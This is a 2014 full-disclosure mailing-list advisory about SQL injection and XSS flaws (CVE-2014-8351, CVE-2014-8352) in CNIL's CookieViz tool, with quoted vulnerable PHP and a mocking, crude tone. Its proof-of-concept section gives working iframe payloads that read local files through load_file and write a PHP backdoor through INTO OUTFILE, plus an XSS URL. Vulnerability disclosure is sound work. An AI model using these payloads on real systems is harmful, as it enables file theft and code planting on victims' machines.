full-disclosure - [FD] CNIL CookieViz XSS + SQL injection leading to user pwnage

Open Source and information security mailing list archives

Date: Mon, 03 Nov 2014 22:53:01 +0000
From: iliketurtles@...gedinbox.com
To: fulldisclosure@...lists.org
Subject: [FD] CNIL CookieViz XSS + SQL injection leading to user pwnage

# CNIL CookieViz XSS + SQL injection leading to user pwnage
#
# Product link:         https://github.com/LaboCNIL/CookieViz
# CVE references        CVE-2014-8351, CVE-2014-8352

TL;DR
-----
Since October 2014, the French National Commission on Informatics and 
Liberty "CNIL" is performing some controls upon "tracing cookies" (ads, 
webaudience etc.) set by French websites:  
http://www.cnil.fr/linstitution/actualite/article/article/cookies-des-controles-a-partir-doctobre/
In order for private individuals to know what cookies are upon browsing 
teh interwebz, CNIL "experts" generously released the "CookieViz" tool, 
which is compatible with most of modern Operating Systems (Windows, 
Linux, OS X):
- 
http://www.cnil.fr/vos-droits/vos-traces/les-cookies/telechargez-cookieviz/
- https://github.com/LaboCNIL/CookieViz

Anyone can thus use this tool to check potential tracing infringements.
While this intention is definitely laudable, the produced code is 
dreadful and riddled with ridiculous security vulnerabilities: XSS, SQL 
injections and security misconfigurations which can lead to a data 
leakage of the user's files and potentially a compromise by pushing 
malicious files on his system.

For an organism fighting for citizens' data privacy...exposing them to 
security troubles is the height of irony.

PoC
---
CookieViz is based on 2 components:
- A cookie harvester, which is basically a grep on tshark with http 
filters on;
- A cookie visualizer, which is a more or less fancy HTML GUI relying on 
d3js.

The 2 components are:
- Packaged in a standalone WAMP environment for Windows: both components 
are notably using the root MySQL account with all privileges (hello 
FILE), PHP magic quotes are off and so on...
- Unpackaged for Linux and Mac OS environments: you have to integrate 
them in your own (L|M)AMP. In this case, vuln impacts rely only on you 
and your setup.

The following PoC only focuses on Windows.
The scenario is:
0. You install the standalone package;
1. You visit a Website in order to check for its cookies. This website 
includes malicious resources, like in an iframe, which can for instance:
    1.a) read arbitrary local files;
    1.b) write any content to non-existing files: you would directly 
execute arbitrary code on the victim's system but interesting PHP 
functions like shell_exec(), exec(), passthru() etc. are explicitly 
disabled in the php.ini
2. You get pwned as the malicious resources are locally executed

> SQLi injection: CVE-2014-8351
-----------------
On your malicious website, create an HTML file containing one of these 
payloads:

1.a)
<!DOCTYPE html>
<html>
<body>
<p>Reading arbitrary local file - C:\CookieViz\conf\php.ini :</p>
  <iframe src="http://localhost:81/cookie_viz/info.php?domain=*' union 
all select 
@@version,2,3,4,5,6,1,load_file('C:\\CookieViz\\conf\\php.ini'),9 -- 
/**">
  </iframe>
</body>
</html>

1.b) Inb4 : '<?PHP echo "Im pwned " ?>'  is converted to a string with 
MySQL CHAR() function
<!DOCTYPE html>
<html>
<body>
<p>Inserting arbitrary PHP code in C:\CookieViz\www\backdoor.php :</p>
  <iframe src="http://localhost:81/cookie_viz/info.php?domain=*' union 
all select @@version,2,3,4,5,6,7,CHAR(39, 60, 63, 80, 72, 80, 32, 101, 
99, 104, 111, 32, 34, 73, 109, 32, 112, 119, 110, 101, 100, 32, 34, 32, 
63, 62, 39),9 INTO outfile 'C:\\CookieViz\\www\\backdoor.php' -- /**">
  </iframe>
</body>
</html>

2) Visit your HTML page with the standalone package browser.
3) Profit.

> XSS: CVE-2014-8352
-----
http://localhost/cookieviz/json.php?max_date="><script>alert(1)</script>

Vuln details
-------
> SQLi injections:
-----------------
info.php, line 21:

	if(isset($_GET["domain"]))
	{
		$domain = $_GET["domain"];
	}
	[...]
	$query="SELECT * FROM url_referer WHERE 
referer_domains='".$domain."'GROUP BY url_domains, referer_domains";
	$result = mysql_query($query) or die ("Echec de la requête : ".$query." 
". mysql_error());
	while ($line = mysql_fetch_assoc($result))
	{
		echo "<tr>";
		if ($line["is_cookie"] == 1)
		{
			echo "<td>".$line["referer_domains"];
			echo "<td>".$line["url_domains"];
			echo "<td>".$line["cookie"];
		}
		echo "</tr>";
	}

> XSS:
-----
json.php, line 253:

	print 
'{"inf_nodes":'.$write_nodes.',"inf_links":'.$write_links.',"max_date":"'.$max_date.'","cpt":'.$cpt.'}';

Solution
--------
- Slutshame CNIL
- Wait for patches

Timeline
--------
Oct 16, 2014: Getting to know that CNIL released a tool. Visiting the 
project page and laughing a bit
Oct 17, 2014: Requiring CVE, just for trolling purposes
Nov 03, 2014: Going fulldisclo, still for trolling purposes

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